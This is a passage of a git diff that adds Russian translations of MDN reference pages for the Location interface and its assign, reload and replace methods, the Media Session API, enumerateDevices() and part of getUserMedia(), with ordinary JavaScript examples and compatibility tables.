+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "history.html#dom-location-assign", "Location.assign()")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Без изменений относительно {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#dom-location-assign", "Location.assign()")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Location.assign")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс {{domxref("Location")}}, к которому принадлежит этот метод.</li>
+ <li>Похожие методы: {{domxref("Location.replace()")}} и {{domxref("Location.reload()")}}.</li>
+</ul>
diff --git a/files/ru/web/api/location/index.html b/files/ru/web/api/location/index.html
new file mode 100644
index 0000000000..470064d4b9
--- /dev/null
+++ b/files/ru/web/api/location/index.html
@@ -0,0 +1,205 @@
+---
+title: Location
+slug: Web/API/Location
+tags:
+  - API
+  - HTML DOM
+  - Interface
+  - Location
+  - Refernce
+translation_of: Web/API/Location
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>Интерфейс <strong><code>Location</code></strong> представляет собой адрес (URL) объекта, с которым он связан. Его модификации отражаются на родительском объекте. Интерфейсы {{domxref("Document")}} и {{domxref("Window")}} имеют подобный <code>Location</code>, к которому можно получить доступ через {{domxref("Document.location")}} и {{domxref("Window.location")}} соответственно.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Интерфейс <code>Location</code></em><em> не имеет унаследованных свойств, но реализует свойства {{domxref("URLUtils")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("Location.href")}}</dt>
+ <dd>{{domxref("DOMString")}}, содержащий URL целиком. При изменении, соответствующий документ переходит на новую страницу.</dd>
+ <dt>{{domxref("Location.protocol")}}</dt>
+ <dd>{{domxref("DOMString")}}, содержащий протокол текущего URL, включая <code>':'</code>.</dd>
+ <dt>{{domxref("Location.host")}}</dt>
+ <dd>{{domxref("DOMString")}}, содержащий хост, а именно <em>имя хоста</em>, <code>':'</code> и <em>порт</em>.</dd>
+ <dt>{{domxref("Location.hostname")}}</dt>
+ <dd>{{domxref("DOMString")}}, содержащий домен текущего URL.</dd>
+ <dt>{{domxref("Location.port")}}</dt>
+ <dd>{{domxref("DOMString")}}, содержащий номер порта текущего URL.</dd>
+ <dt>{{domxref("Location.pathname")}}</dt>
+ <dd>{{domxref("DOMString")}}, содержащий первый <code>'/'</code> после хоста с последующим текстом URL.</dd>
+ <dt>{{domxref("Location.search")}}</dt>
+ <dd>{{domxref("DOMString")}}, содержащий <code>'?'</code> с последующими параметрами URL.</dd>
+
+ <dt>{{domxref("Location.hash")}}</dt>
+ <dd>{{domxref("DOMString")}}, содержащий <code>'#'</code> с последующим идентификатором.</dd>
+ <dt>{{domxref("Location.username")}}</dt>
+ <dd>{{domxref("DOMString")}}, содержащий имя пользователя, указанное перед именем домена.</dd>
+ <dt>{{domxref("Location.password")}}</dt>
+ <dd>{{domxref("DOMString")}}, содержащий пароль, указанный перед именем домена.</dd>
+ <dt>{{domxref("Location.origin")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает {{domxref("DOMString")}}, содержащий протокол, хост и порт текущего URL.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Интерфейс <code>Location</code></em><em> не имеет унаследованных методов, но реализует методы {{domxref("URLUtils")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("Location.assign()")}}</dt>
+ <dd>Загружает ресурс по URL, указанному в качестве параметра.</dd>
+ <dt>{{domxref("Location.reload()")}}</dt>
+ <dd>Перезагружает ресурс по текущему URL. Единственный опциональный параметр {{domxref("Boolean")}} при значении <code>true</code> указывает, что страница должна быть заново загружена с сервера, при значении <code>false</code> страница может быть загружена из кэша.</dd>
+ <dt>{{domxref("Location.replace()")}}</dt>
+ <dd>Заменяет текущий ресурс на новый по URL, указанному в качестве параметра. Отличие от <code>assign()</code> в том, что при использовании <code>replace()</code> текущая страница не будет сохранена в {{domxref("History")}}, и пользователь не сможет использовать кнопку <em>назад</em>, чтобы вернуться к ней.</dd>
+ <dt>{{domxref("Location.toString()")}}</dt>
+ <dd>Возвращает {{domxref("DOMString")}}, содержащий URL целиком. Это синоним {{domxref("URLUtils.href")}}, однако он не может использоваться для изменения значения.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">// Этот пример создает ссылку и использует ее свойство href
+// Корректная альтернатива - использовать document.location или window.location текущего URL
+var url = document.createElement('a');
+url.href = 'https://developer.mozilla.org/en-US/search?q=URL#search-results-close-container';
+console.log(url.href);      // https://developer.mozilla.org/en-US/search?q=URL#search-results-close-container
+console.log(url.protocol);  // https:
+console.log(url.host);      // developer.mozilla.org
+console.log(url.hostname);  // developer.mozilla.org
+console.log(url.port);      // (пустой - https подразумевает порт 443)
+console.log(url.pathname);  // /en-US/search
+console.log(url.search);    // ?q=URL
+console.log(url.hash);      // #search-results-close-container
+console.log(url.origin);    // https://developer.mozilla.org
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "history.html#the-location-interface", "Location")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Без изменений относительно {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#the-location-interface", "Location")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>origin</code> в <code>Windows.location</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("21")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>origin</code> во всех объектах <code>location</code> (кроме Workers, где используется {{domxref("WorkerLocation")}})</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("26")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>username</code> и <code>password</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("26")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>origin</code> в <code>Windows.location</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("21")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>origin</code> во всех объектах <code>location</code> (кроме Workers, где используется {{domxref("WorkerLocation")}})</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("26")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>username</code> и <code>password</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("26")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Два метода, создающих подобные объекты: {{domxref("Window.location")}} и {{domxref("Document.location")}}.</li>
+ <li>Интерфейсы, относящиеся к URL: {{domxref("URL")}}, {{domxref("URLSearchParams")}} и {{domxref("HTMLHyperlinkElementUtils")}}</li>
+</ul>
diff --git a/files/ru/web/api/location/reload/index.html b/files/ru/web/api/location/reload/index.html
new file mode 100644
index 0000000000..fb00e74ea7
--- /dev/null
+++ b/files/ru/web/api/location/reload/index.html
@@ -0,0 +1,73 @@
+---
+title: Location.reload()
+slug: Web/API/Location/reload
+tags:
+  - API
+  - HTML-DOM
+  - Location
+  - Method
+  - Reference
+translation_of: Web/API/Location/reload
+---
+<p>{{ APIRef("HTML DOM") }}</p>
+
+<p>Метод <code><strong>Location.reload()</strong></code> перезагружает ресурс из текущего URL подобно кнопке обновления браузера.</p>
+
+<p>Если условия вызова метода не удовлетворяют требованиям безопасности, выбрасывается {{domxref("DOMException")}} с типом <code>SECURITY_ERROR</code>. Это случается, если домен скрипта, вызывающего метод, не совпадает с доменом страницы, изначально содержащимся в {{domxref("Location")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><em>location</em>.reload();
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js notranslate">// Перезагрузить текущую страницу
+document.location.reload();</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "history.html#dom-location-reload", "Location.reload()")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Без изменений относительно {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#dom-location-reload", "Location.reload()")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Location.reload")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс {{domxref("Location")}}, к которому принадлежит этот метод.</li>
+ <li>Похожие методы: {{domxref("Location.assign()")}} и {{domxref("Location.replace()")}}.</li>
+</ul>
+
+<div class="jfk-bubble gtx-bubble" style="left: 12px; top: 29px; opacity: 1; transition: opacity 0.218s ease-out 0s;">
+<div class="jfk-bubble-content-id" id="bubble-3">
+<div id="gtx-host" style="max-width: 400px;"></div>
+</div>
+
+<div class="jfk-bubble-closebtn-id jfk-bubble-closebtn"></div>
+
+<div class="jfk-bubble-arrow-id jfk-bubble-arrow jfk-bubble-arrowup" style="left: 15px;">
+<div class="jfk-bubble-arrowimplbefore"></div>
+
+<div class="jfk-bubble-arrowimplafter"></div>
+</div>
+</div>
diff --git a/files/ru/web/api/location/replace/index.html b/files/ru/web/api/location/replace/index.html
new file mode 100644
index 0000000000..6019d603dc
--- /dev/null
+++ b/files/ru/web/api/location/replace/index.html
@@ -0,0 +1,68 @@
+---
+title: Location.replace()
+slug: Web/API/Location/replace
+tags:
+  - API
+  - HTML-DOM
+  - Location
+  - Method
+  - Reference
+translation_of: Web/API/Location/replace
+---
+<p>{{ APIRef("HTML DOM") }}</p>
+
+<p>Метод <code><strong>Location</strong></code><strong><code>.replace()</code></strong> заменяет текущий ресурс на новый по URL, указанному в качестве параметра. Отличие от {{domxref("Location.assign","assign()")}} в том, что при использовании <code>replace()</code> текущая страница не будет сохранена в {{domxref("History")}}, и пользователь не сможет использовать кнопку <em>назад</em>, чтобы вернуться к ней.</p>
+
+<p>Если условия вызова метода не удовлетворяют требованиям безопасности, выбрасывается {{domxref("DOMException")}} с типом <code>SECURITY_ERROR</code>. Это случается, если домен скрипта, вызывающего метод, не совпадает с доменом страницы, изначально содержащимся в {{domxref("Location")}}.</p>
+
+<p>Если новый URL некорректен, выбрасывается {{domxref("DOMException")}} с типом <code>SYNTAX_ERROR</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><em>object</em>.replace(<em>url</em>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><em>url</em></dt>
+ <dd>{{domxref("DOMString")}} , содержащий URL страницы, на которую нужно перейти.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js notranslate">// Перейти на статью Location.reload, заменив текущую страницу
+document.location.replace('https://developer.mozilla.org/en-US/docs/Web/API/Location.reload');</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "history.html#dom-location-replace", "Location.replace()")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Без изменений относительно {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#dom-location-replace", "Location.replace()")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div id="compat-mobile">{{Compat("api.Location.replace")}}</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс {{domxref("Location")}}, к которому принадлежит этот метод.</li>
+ <li>Похожие методы: {{domxref("Location.assign()")}} и {{domxref("Location.reload()")}}.</li>
+</ul>
diff --git a/files/ru/web/api/media_session_api/index.html b/files/ru/web/api/media_session_api/index.html
new file mode 100644
index 0000000000..aeaf490463
--- /dev/null
+++ b/files/ru/web/api/media_session_api/index.html
@@ -0,0 +1,110 @@
+---
+title: Media Session API
+slug: Web/API/Media_Session_API
+tags:
+  - Media Session API
+  - MediaMetadata
+  - MediaSession
+  - Видео
+  - Медиа
+  - аудио
+translation_of: Web/API/Media_Session_API
+---
+<p>{{DefaultAPISidebar("Media Session API")}}</p>
+
+<p class="summary">API Media Session даёт разработчику возможность настроить уведомление о медиа. С помощью него можно предоставить метаданные о проигрываемых приложением медиа, а также позволяет приложению реагировать на команды управления воспроизведением. Смысл данного интерфейса в том, чтобы пользователь мог просматривать и управлять медиаконтентом, не переходя на страницу, где происходит воспроизведение.</p>
+
+<h2 id="Принципы_и_использование_Media_Session">Принципы и использование Media Session</h2>
+
+<p>Интерфейс {{domxref("MediaMetadata")}} позволяет приложению передавать метаданные о воспроизводимом контенте браузеру и ОС. Примеры таких метаданных: название, исполнитель, альбом и обложка. Данная информация может отображаться в медиацентре, блоке уведомлений или на экране блокировки.</p>
+
+<p>Интерфейс {{domxref("MediaSession")}} позволяет пользователям контролировать воспроизведение с помощью элементов управления браузера. Взаимодействие с этими элементами также вызывает события в приложении. Так как этот API может использоваться сразу несколькими страницами, браузер контролирует, какая страница получит события. Браузер предоставляет поведение по умолчанию, если оно не было переопределено страницами.</p>
+
+<h2 id="Работа_с_Media_Session_API">Работа с Media Session API</h2>
+
+<p>Главный интерфейс Media Session API -- {{domxref("MediaSession")}}. Не нужно создавать собственный экземпляр <code>MediaSession</code>, доступ к API осуществляется через свойство {{domxref("navigator.mediaSession")}}. Например, следующий код укажет, что страница воспроизводит медиа в данный момент:</p>
+
+<pre class="brush: js notranslate">navigator.mediaSession.playbackState = "playing";</pre>
+
+<h2 id="Интерфейсы">Интерфейсы</h2>
+
+<dl>
+ <dt>{{domxref("MediaMetadata")}}</dt>
+ <dd>Позволяет веб-странице предоставить метаданные о воспроизведении для показа в интерфейсе платформы.</dd>
+ <dt>{{domxref("MediaSession")}}</dt>
+ <dd>Позволяет странице определить собственные обработчики стандартных медиа-событий.</dd>
+</dl>
+
+<h2 id="Объекты">Объекты</h2>
+
+<dl>
+ <dt>{{domxref("MediaImage")}}</dt>
+ <dd>Объект <code>MediaImage</code> содержит информацию об отображаемой картинке. Чаще всего этим изображением является обложка или постер.</dd>
+ <dt>{{domxref("MediaPositionState")}}</dt>
+ <dd>Содержит информацию о длине трека, месте и скорости воспроизведения, передаваемую с помощью метода {{domxref("MediaSession.setPositionState", "setPositionState()")}}.</dd>
+ <dt>{{domxref("MediaSessionActionDetails")}}</dt>
+ <dd>Предоставляет информацию, необходимую для выполнения запрошенного действия, например тип действия или позицию перемотки.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Данный пример демонстрирует работу и определение доступности Media Session API. Также, он передает метаданные и определяет собственные обработчики событий:</p>
+
+<pre class="brush: js notranslate">if ('mediaSession' in navigator) {
+  navigator.mediaSession.metadata = new MediaMetadata({
+    title: 'Unforgettable',
+    artist: 'Nat King Cole',
+    album: 'The Ultimate Collection (Remastered)',
+    artwork: [
+      { src: 'https://dummyimage.com/96x96',   sizes: '96x96',   type: 'image/png' },
+      { src: 'https://dummyimage.com/128x128', sizes: '128x128', type: 'image/png' },
+      { src: 'https://dummyimage.com/192x192', sizes: '192x192', type: 'image/png' },
+      { src: 'https://dummyimage.com/256x256', sizes: '256x256', type: 'image/png' },
+      { src: 'https://dummyimage.com/384x384', sizes: '384x384', type: 'image/png' },
+      { src: 'https://dummyimage.com/512x512', sizes: '512x512', type: 'image/png' },
+    ]
+  });
+
+  navigator.mediaSession.setActionHandler('play', function() { /* Code excerpted. */ });
+  navigator.mediaSession.setActionHandler('pause', function() { /* Code excerpted. */ });
+  navigator.mediaSession.setActionHandler('seekbackward', function() { /* Code excerpted. */ });
+  navigator.mediaSession.setActionHandler('seekforward', function() { /* Code excerpted. */ });
+  navigator.mediaSession.setActionHandler('previoustrack', function() { /* Code excerpted. */ });
+  navigator.mediaSession.setActionHandler('nexttrack', function() { /* Code excerpted. */ });
+}</pre>
+
+<p>Некоторые браузеры отключают автовоспроизведение медиаэлементов на мобильных устройствах и требуют действий пользователя для начала воспроизведения. Этот пример добавит обработчик события <code>pointerup</code> для кнопки воспроизведения на странице, который начнет работу с медиасессией:</p>
+
+<pre class="brush: js notranslate">playButton.addEventListener('pointerup', function(event) {
+  var audio = document.querySelector('audio');
+
+  // Пользователь нажал кнопку, начинаем воспроизведение...
+  audio.play()
+  .then(_ =&gt; { /* Настройка элементов управления (показана выше). */ })
+  .catch(error =&gt; { console.log(error) });
+});</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Session')}}</td>
+   <td>{{Spec2('Media Session')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.MediaSession")}}</p>
diff --git a/files/ru/web/api/mediadevices/enumeratedevices/index.html b/files/ru/web/api/mediadevices/enumeratedevices/index.html
new file mode 100644
index 0000000000..8672793a83
--- /dev/null
+++ b/files/ru/web/api/mediadevices/enumeratedevices/index.html
@@ -0,0 +1,163 @@
+---
+title: MediaDevices.enumerateDevices()
+slug: Web/API/MediaDevices/enumerateDevices
+translation_of: Web/API/MediaDevices/enumerateDevices
+---
+<p>{{APIRef("WebRTC")}}{{SeeCompatTable}}</p>
+
+<p>Метод <strong><code>MediaDevices.enumerateDevices()</code></strong> собирает информацию о медиа-устройствах ввода и вывода, доступных в системе.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">navigator.mediaDevices.enumerateDevices()
+.then(function(MediaDeviceInfo) { ... })</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Возвращает {{ domxref("Promise") }} который, если выполнится успешно, вернёт массив экземпляров {{domxref("MediaDeviceInfo")}} , которые содержат информацию о доступных медиа-устройствах ввода и вывода.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Ниже, пример, использующий метод <code>mediaDevices.enumerateDevices()</code>.</p>
+
+<pre class="brush: js">if (!navigator.mediaDevices || !navigator.mediaDevices.enumerateDevices) {
+  console.log("enumerateDevices() не поддерживается.");
+  return;
+}
+
+// Перечисление в цикле камер и микрофонов
+
+navigator.mediaDevices.enumerateDevices()
+.then(function(devices) {
+  devices.forEach(function(device) {
+    console.log(device.kind + ": " + device.label +
+                " id = " + device.deviceId);
+  });
+})
+.catch(function(err) {
+  console.log(err.name + ": " + err.message);
+});
+</pre>
+
+<p>результат перичисления в цикле:</p>
+
+<pre>videoinput: id = csO9c0YpAf274OuCPUA53CNE0YHlIr2yXCi+SqfBZZ8=
+audioinput: id = RKxXByjnabbADGQNNZqLVLdmXlS0YkETYCIbg+XxnvM=
+audioinput: id = r2/xw1xUPIyZunfV1lGrKOma5wTOvCkWfZ368XCndm0=
+</pre>
+
+<p>или, если один или более объектов {{domxref("MediaStream")}} активны,  или получены постоянные разрешения:</p>
+
+<pre>videoinput: FaceTime HD Camera (Built-in) id=csO9c0YpAf274OuCPUA53CNE0YHlIr2yXCi+SqfBZZ8=
+audioinput: default (Built-in Microphone) id=RKxXByjnabbADGQNNZqLVLdmXlS0YkETYCIbg+XxnvM=
+audioinput: Built-in Microphone id=r2/xw1xUPIyZunfV1lGrKOma5wTOvCkWfZ368XCndm0=
+</pre>
+
+<h2 id="Разрешения">Разрешения</h2>
+
+<p>Что бы использовать метод  <code>enumerateDevices()</code> в устанавливаемом приложении  (к примеру в  <a href="/en-US/Apps/Build/Building_apps_for_Firefox_OS/Firefox_OS_app_beginners_tutorial">Firefox OS приложение</a>), необходимо указать оба поля внутри файла манифеста приложения:</p>
+
+<pre class="brush: js">"permissions": {
+  "audio-capture": {
+    "description": "Required to capture audio using getUserMedia()"
+  },
+  "video-capture": {
+    "description": "Required to capture video using getUserMedia()"
+  }
+}</pre>
+
+<p>Смотри так же : <a href="/en-US/Apps/Developing/App_permissions#audio-capture">разрешение: аудио захват</a> and <a href="/en-US/Apps/Developing/App_permissions#video-capture">разрешение : видео захват</a> в продолжение темы.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture', '#mediadevices', 'mediaDevices.enumerateDevices')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(45.0)}} [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>39</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>39</td>
+   <td>39</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Behind a flag.</p>
+
+<h3 id="Совместимость_с_Chrome_и_Opera">Совместимость с Chrome и Opera</h3>
+
+<ul>
+ <li>Интерфейс доступен в  Chrome и Opera через полифил <a href="https://github.com/webrtc/adapter">adapter.js</a>.</li>
+</ul>
+
+<h2 id="Смотри_так_же">Смотри так же</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia" title="mediaDevices.getUserMedia">navigator.mediaDevices.getUserMedia</a></li>
+ <li><a href="/en-US/docs/WebRTC" title="WebRTC">WebRTC</a> - the introductory page to the API</li>
+ <li><a href="/en-US/docs/WebRTC/MediaStream_API" title="WebRTC/MediaStream_API">MediaStream API</a> - the API for the media stream objects</li>
+ <li><a href="/en-US/docs/WebRTC/taking_webcam_photos" title="WebRTC/taking_webcam_photos">Taking webcam photos</a> - a tutorial on using <code>getUserMedia() for taking photos rather than video.</code></li>
+</ul>
diff --git a/files/ru/web/api/mediadevices/getusermedia/index.html b/files/ru/web/api/mediadevices/getusermedia/index.html
new file mode 100644
index 0000000000..1d9a8fe00e
--- /dev/null
+++ b/files/ru/web/api/mediadevices/getusermedia/index.html
@@ -0,0 +1,351 @@
+---
+title: MediaDevices.getUserMedia()
+slug: Web/API/MediaDevices/getUserMedia
+translation_of: Web/API/MediaDevices/getUserMedia
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p>Метод {{domxref("MediaDevices")}}<code><strong>.getUserMedia()</strong></code>, при выполнении, вызывает всплывающий диалог, запрашивающий разрешение пользователя на использование медиа устройства (камера, микрофон). Результат возвращает промис, содержащий поток, который  состоит из треков (дорожек), содержащих требуемые медиа типы. Этот поток может включать, к примеру, видеотрек, созданный либо аппаратным средством, либо виртуальным видеоисточником, такими как камера, устройство видеозаписи, сервис обмена изображениями и т.д);  аудиотрек, созданный физическим или виртуальным аудиоисточником, к примеру, микрофоном, аналого-цифровым преобразователем звуков и возможно иные типы треков.</p>
+
+<p>Он возвращает {{jsxref("Promise")}} , который, в случае согласия пользователя, разрешается {{domxref("MediaStream")}} объектом. Если пользователь отказывает в разрешении, или медиа устройсто не доступно, тогда промис отменяется с объектами типа <code>NotAllowedError</code> или <code>NotFoundError</code> соответственно.</p>
+
+<div class="note">
+<p><strong>Примечание :</strong> Возможно, что промис ни разрешиться, ни отмениться, в случае, когда пользователь не сделает выбор и запрос проигнорирует.</p>
+</div>
+
+<p>Обычно, разработчик получает доступ к  единственному экземпляру объекта {{domxref("MediaDevices")}} , используя {{domxref("navigator.mediaDevices.getUserMedia()")}}  метод, возвращающий поток:</p>
+
+<pre class="brush: js notranslate">async function getMedia(constraints) {
+  let stream = null;
+
+  try {
+    stream = await navigator.mediaDevices.getUserMedia(constraints);
+    /* используем поток */
+  } catch(err) {
+    /* обработка ошибки */
+  }
+}
+</pre>
+
+<p>Тот же результат, но используя тип промиса :</p>
+
+<pre class="brush: js notranslate">navigator.mediaDevices.getUserMedia(constraints)
+.then(function(stream) {
+  /* используем поток */
+})
+.catch(function(err) {
+  /* обработка ошибки */
+});</pre>
+
+<div class="blockIndicator note">
+<p><strong>Примечание :</strong> Если документ загружен не безопасно, значение <code>navigator.mediaDevices</code> будет <code>undefined</code>, и нельзя будет использовать метод  <code>getUserMedia()</code>. Смотри  {{anch("Security")}} для дополнительной информации о дальнейших вопросах безопасности, связанной с использованием метода <code>getUserMedia()</code>.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">var <var>promise</var> = navigator.mediaDevices.getUserMedia(<var>constraints</var>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code><var>constraints (ограничения)</var></code></dt>
+ <dd>
+ <p>Объект  {{domxref("MediaStreamConstraints")}}, определяющий запрашиваемые медиатипы, вместе с требованиями для каждого типа.</p>
+
